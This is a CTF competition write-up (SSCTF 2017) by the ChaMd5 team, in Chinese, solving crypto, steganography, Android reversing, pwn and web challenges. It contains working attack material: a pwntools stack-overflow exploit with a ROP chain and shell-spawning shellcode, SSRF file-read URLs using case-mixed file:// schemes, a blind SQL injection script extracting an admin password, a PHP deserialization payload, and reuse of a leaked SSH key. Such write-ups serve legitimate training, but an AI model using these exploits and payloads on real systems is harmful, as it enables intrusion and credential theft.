本文《SSCTF2017 WriteUp》 由ChaMd5安全团队原创投稿安全脉搏,作者为ChaMd5安全团队核心成员pcat&poyoten&lncken,入驻安全脉搏账号发表本文,如需要转载,请先联系安全脉搏&ChaMd5安全团队授权;未经授权请勿转载。
Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==
先base64解码得到ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}
一看格式,无非是凯撒+栅栏,解题关键是flag格式ssctf{},所以先凯撒得到
ssC@sC1rct0atfvbf_ei{srtse#}
栅栏得到ssctf{ssCtf_seC10ver#@rabit}
这题提供了一个网址http://60.191.205.87/,进去后点击DownLoad下载pcap数据包,如果只是单纯的数据包的话,直接提供一个下载链接即可,而提供了一个网址,很明显后面需要用到,在做题的时候先记下这个网址。
做数据包题目的时候,我一般都是先看数据包大概什么协议,如果有http的话,就直接导出http对象,然后观看有什么特别之处(一般藏匿着什么zip包或者什么配置文件)
这里看到git-upload-pack字样,.nijiakadaye、config字样,很大可能是git泄露,尝试下浏览器访问http://60.191.205.87/.nijiakadaye
forbidden总比404好,再访问http://60.191.205.87/.nijiakadaye/config和http://60.191.205.87/.nijiakadaye/index都有料,于是不用想了,直接上githack神器,神器哪家强呢?直接找四叶草的bugscan车库
打开我的kali,输入如下
git clone https://github.com/BugScanTeam/GitHack cd GitHack python GitHack.py http://60.191.205.87/.nijiakadaye/ #漫长的等待 cd dist/60.191.205.87 #然后就是git命令看看历史提交记录 git log -u
看到
直接提交红色ssctf{}内的不行,那么继续看下去
原本以为要自己写个解密脚本,结果仔细观看后发现$data只参与异或运算,于是wtf()直接当解密函数即可,然后$pwd取ssctf而不是wodegea,脚本如下,运行后得到flag
下载的yi.zip,解压后的文件没后缀,先用binwalk和file来观看
又一个pcap包(而且有大量jpg和zip,不得不说binwalk神器就是这么好用),于是自己加了一个.pcap后缀后用wireshark打开,并且同样的套路,先导出http对象
这里只有jpg文件,而没有zip文件,很明显zip就是藏匿在jpg里
为了方便操作,我修改了名字,然后使用binwalk –e 图片名.jpg (由于我懒,我就不写个shell命令)
结果在“互相伤害”那图下的zip包无法解压,是加密的,而其他20个zip解压后(binwalk –e会自动解压)都是相同的二维码(内容大概是“四叶草出题人真帅”之类的话语,←_←)
对于加密的压缩包一般的思路:弱密码字典、位数少的则暴力破解、伪加密、明文攻击,以及常见的把密码藏匿在各种地方(这也是脑洞的考验)
经过排查后,焦点落在这图:
其中的二维码一开始我扫描不出,后来我知道ssctf的出题套路,凡是二维码的扫描,你一个扫描不出,就换别的扫描,总之手机自带扫描、微信扫描、qq扫描轮着来一波,肯定可以扫出来。
二维码内容:
U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7bE9uL8lW/KLfbs33aC1XXw==
看到U2Fsd头,按照我个人的过往经验,一般是aes加盐,而且我也大概猜到出题人很大可能是用网页上的加密,于是我默默地打开自己的收藏夹,
http://tool.chinaz.com/Tools/textencrypt.aspx
把密文填写在右边,选择AES,先试试不填写密码的情况下能否解密,结果不能,然后观看上图有一个红色显眼的CTF字样,于是就填写上去试试看,果不其然顺利解密
得到668b13e0b0fc0944daf4c223b9831e49,查无记录,那么就拿去解压那个加密压缩包吧,顺利解压得到如下二维码
想都不用想,放大,然后反色(都是老套路而已),扫描中间就得到结果。
一开始拿到图后我是看看有什么敏感的字符串或者lsb对RGB的G位看看有什么特别,结果都无果。
之后,我在网上找到原图,然后对比后,比赛的图片只是后面多了1228字节,但是琢磨不透。
而题目中“我们的秘密”,之前陕西的比赛有一个类似的隐写题目,就是用了Our Secret这隐写软件,而最关键是密码,我先后试了“green”、“绿色”、“绿色的”、“Clover”、“clover”等都不行。
最后要聚焦到图片上,把绿色的数字合起来就是“0405111218192526”,然后得到一个try.zip,注释为“你知道coffee的生日是多少么~~~”,生日密码的用工具爆破即可,得到readme.txt和加密的flag.zip,而flag.zip里有readme.txt,想都不想直接上明文攻击,把readme.txt用winrar压缩成readme.zip去攻击即可得到密钥为Y29mZmVl,然后里层flag.zip照样有密码,把Y29mZmVl解码为coffee,又是一层加密,都做到这里了,使用套路,上伪加密ZipCenOp.jar r flag.zip即可,得到qddpqwnpcplen%prqwn_{_zz*d@gq}
套路继续上,凯撒+栅栏,这里关键是flag格式为flag{},所以凯撒为fsseflcereatc%egflc_{_oo*s@vf},栅栏得到flag{ssctf_@seclover%coffee_*}
music.zip解压后是mp3,对于我这个binwalk狂魔,
是骡子还是马,binwalk一上就知晓,改为.zip然后解压得到
coffee.zip是加密的,图片里的二维码依然只要微信、qq、手机扫描来一波就可以扫出是“神龙摆尾”大概的字样,此时在心里搜刮下成语含义,大概可能就是指要我们关注文件尾部,所以大概的猜测音乐不需要音频隐写(说是这么说,其实该有的音频隐写套路我都有去做一遍),用winhex打开,看末尾,得到压缩包密码
解压后是一张coffee.jpg,然后我又傻傻地做了各种试探,最后其实还是得老套路,在winhex里搜索到coffee字样
再结合binwalk可以看到coffee.jpg后面有png图片常见的zlib头,所以把coffee开头至结尾截取出来另存为png文件,把文件头前8位修改为png文件头即可打开,扫描后得到一个文件下载地址,下载后经过识别是zip包,然后猜测是伪加密,用ZipCenOp.jar来解密即可
解开后是
a2V5aXMlN0JzZWMxb3ZlciUyNV82dWdzY2FuX0Bjb2ZmZWUlN0Q=
题目提供一个APK和一个excel文件。APK算法流程比较明晰:先取签名的md5值,进行SHA计算得40字节的HEX串,再进行变换和加key的变换,最终得出加密文件的40字节加密串。说是文件加密其实只是将文件的第256*n+1个字节数据与加密串循环异或。研究了一阵加密串的算法,似乎是不可逆。虽然APK中已经给出key是6位,但是由于涉及到文件读写,似乎直接爆破不是个好办法。由于或者的数据不多,而且分隔较开,而电子表格文件也是有一定格式的,看看能不能通过特殊位置的值反算出一部分的加密串,然后就可以爆密码了。通过zip文件格式及文件名、连续的00字节,果然就得出一部分的加密串。
103,87,40, ,117,103, ,40,40, , , , , , , , , , , , , , , , , , ,40,40,117,103,87, ,40, , ,87, , ,117
这样再爆破就没有创建大量文件的问题了。再细看下,似乎加密串的数值比较单一,也有某种规律性。试了下103,87,40,40,1175个字节重复扩展成40位满足上面的格式。于是乎解了试试。
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader; public class key { public static void main(String[] args){ byte[] k2 = {103,87,40,40 ,117,103,87,40,40,117,103,87,40,40, 117,103,87,40,40,117,103,87,40,40,117,103,87,40,40, 117,103,87,40,40,117,103,87,40,40,117}; System.out.println(Arrays.toString(k1)); System.out.println(k1.length); File v2 = new File("d:/","ctf1_encode.xlsx"); if(v2.exists()) { try { FileOutputStream v5 = new FileOutputStream(new File("d:/","ctf1.xlsx")); FileInputStream v4 = new FileInputStream(v2); byte[] v11 = new byte[v4.available()]; v4.read(v11); int v6; for(v6 = 0; v6 < v11.length; v6 += 256) { v11[v6] = ((byte)(v11[v6] ^ k2[v6 % k2.length])); } v5.write(v11); v5.close(); v4.close(); //v2.delete(); } catch(Exception v1) { System.out.println("error"); } } } }
电子表格打开正常,得到图片中的flag:SSCTF{G0odJo13!}
直接上Android Killer
关键在JinTest里
里面System.loadLibrary("test");
把lib/armeabi-v7a/ libtest.so丢入IDA中,
逻辑很复杂,直接丢脚本
得到VVe1lD0ne^-^
这个题静态编译,无动态库。流程比较简单,其实题目也简单。
int __cdecl main(int argc, const char **argv, const char **envp) { char v3; // ST04_1@1 char v4; // ST04_1@1 int v6; // [sp+Ch] [bp-Ch]@1 setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); printf("SSCTF[InPut Data Size]", v3); _isoc99_scanf("%d", (unsigned int)&v6); temp = malloc(v6); printf("SSCTF[YourData]", v4); read(0, temp, v6); puts("[Ok!]"); print(temp, v6); return 0; } int __cdecl print(int a1, int a2) { char v3; // [sp+Eh] [bp-3Ah]@1 memcpy(&v3, a1, a2); return puts(&v3); }
溢出点在print函数的memcpy调用处,a2是输入控制的堆大小,当堆大小大于v3到当前栈底就会发生溢出,而且保护只有NX,通过覆盖print的返回就能构造ROP,又由于没有动态库,所以只能上shellcode了。先找一块内存区域用mprotect更改内存属性,再用read将shellcode写入目标区域,最后返回到目标区域执行shellcode。利用代码如下:
#!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * # switches if len(sys.argv) == 1: DEBUG = 1 else : DEBUG = 0 # modify this if DEBUG: io = process('./250') #gdb.attach(io,'#b main') else: io = remote(sys.argv[1], int(sys.argv[2])) context(log_level='debug') mprotect = 0x0806E070 main_addr = 0x08048886 read = 0x0806D510 stack = 0x08049000 size = 0x1000 prop = 7 def pwn(): io.recvuntil('[InPut Data Size]') io.sendline('82') io.recvuntil('[YourData]') payload1 = 'A' * 62+p32(mprotect)+p32(main_addr)+p32(stack)+p32(size)+p32(prop) io.send(payload1) io.recvuntil('[InPut Data Size]') io.sendline('90') io.recvuntil('[YourData]') shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" ssize = len(shellcode) payload2 = 'A' * 62+p32(read)+p32(stack)+p32(0)+p32(stack)+p32(ssize)+'THE END!' io.send(payload2) #io.recvuntil('THE END!') raw_input('send?') io.send(shellcode) io.interactive() return if __name__ == '__main__': pwn()
一开始进去,右键查看源码
<div align="center"><img src="./news.php?url=127.0.0.1/img.jpg">
这里可以包含内网的文件
一开始我也不知道具体内网是哪里,而且大家也是疯狂的扫描,到最后官方直接给服务器地址,那么我也就容易解题了。
经过多番测试,协议名过滤的是全大写或者全小写,所以大小写混合就绕过
http://117.34.71.7/ 打开后,可以发弹幕,一开始玩了不少,一直没什么头绪,直至我在一直打开的BurpSuite的http history里观测到xssHentai页面
以admin和admin去登录成功(后来发现都可以随便登录),进去后
构造各种xss,折腾一番后,最后能打到的显示
if uid = 1\054you will see flag
最后发现是链接的问题,必须是/xssHentai/request/1/?body (也就是这里的1决定了uid)
payload如下
flag就会在cookies里
还没想好怎么说,我觉得残废不帅了
找到个readme.txt:
修改根目录l.php1.修改相关Web容器信息2.修改物理路径为linux路径3.删除windows关键字部署完成后删除根目录sql.sql、flag、pass文件默认数据库密码为空,数据库名为ctf1
需要写的脚本 1.数据库中每增加一条ID,访问一次 |
找到wwwroot.zip,明文攻击
可惜我在主页上下载的图片其大小不对(后来我也知道压缩包里的图片是如何处理的),不过我还是没放过明文攻击,最后我下载到了phpMyAdmin/js/functions.js,一开始用winrar进行压缩后,明文攻击不了,之后我换好压来压缩,就明文攻击成功,密码是显示不出(至少32位以上),但可以保存解密后的文件,可恶的是文件都是假的,套路!套路!!!
各种折腾后,发现存在phpinfo.php,由此确定了绝对路径.
实际上,结合之前过的web1的payload,使用file协议
submit.php
view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=fILe:///var/www/submit.php
在submit.php里测试提交sub,没想到收到了回显,得到后台地址,
web1里有漏洞可以直接读web3得后台,获得源码,然后读js.php就是flag。
view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=FIle:///var/www//admin/b9557ee76eeb61cadda090855a47d266-1.php view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=fILe:///var/www/admin/js.php
CloverSec Logos
picture.php有注入
盲注,一万个曹尼玛
import requests s = requests.session() ll = "1234567890qwertyuiopasdfghjklzxcvbnm" username = "" for j in range(1,32): print j for i in ll: url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i # print url # username = "" r = s.get(url) # print r.text if "Picture not found" not in r.text: username = username + i print username break
得到admin的密码,20位:14aceb3fc5992cef3d97
去掉前三位和最后一位,解下md5,
我们chamd5,查md5免费(广告而已) http://chamd5.org
我们chamd5,查md5免费(广告而已) http://chamd5.org
我们chamd5,查md5免费(广告而已) http://chamd5.org
解出来密码:admin^g
接着是反序列化
直接贴payload吧
http://60.191.205.80?action=imformation&secret=php://input post 1234 token=O:+4:"Read":1:{s:4:"file";s:16:"./ssctf_flag.php";}
webhook代码审计
需要知道secretkey才能addrepo,
出于对赵哥智商的怀疑猜测secretkey是ssctf
那么本地跑一下,线上构造一个git,配合addrepo生成一个key
/addrepo ?repo=pseudo &key=415f348a94d8b8b2a96de61744c8e090 &url=https://github.com/pseudo2015/pseudo.git &pass=pseudo9987
然后就可以构造json请求
{"repository":{"name":"pseudo"},"ref":"refs/heads/aa","before":"{repos}"}
接着登陆查看log
通过构造build.json可以读任意目录
根据代码得到flag项目应该在../flag/
读回来发现各个分支都没有
再读文件找到/home/www-data/.ssh/里有用户私钥
添加到本机上,然后git pull获得flag.txt
SSCTF{02d6d06ec9e35d11d1f421a400edbb06}
本文《SSCTF2017 WriteUp》 由ChaMd5安全团队原创投稿安全脉搏,作者为ChaMd5安全团队核心成员pcat&poyoten&lncken,入驻安全脉搏账号发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。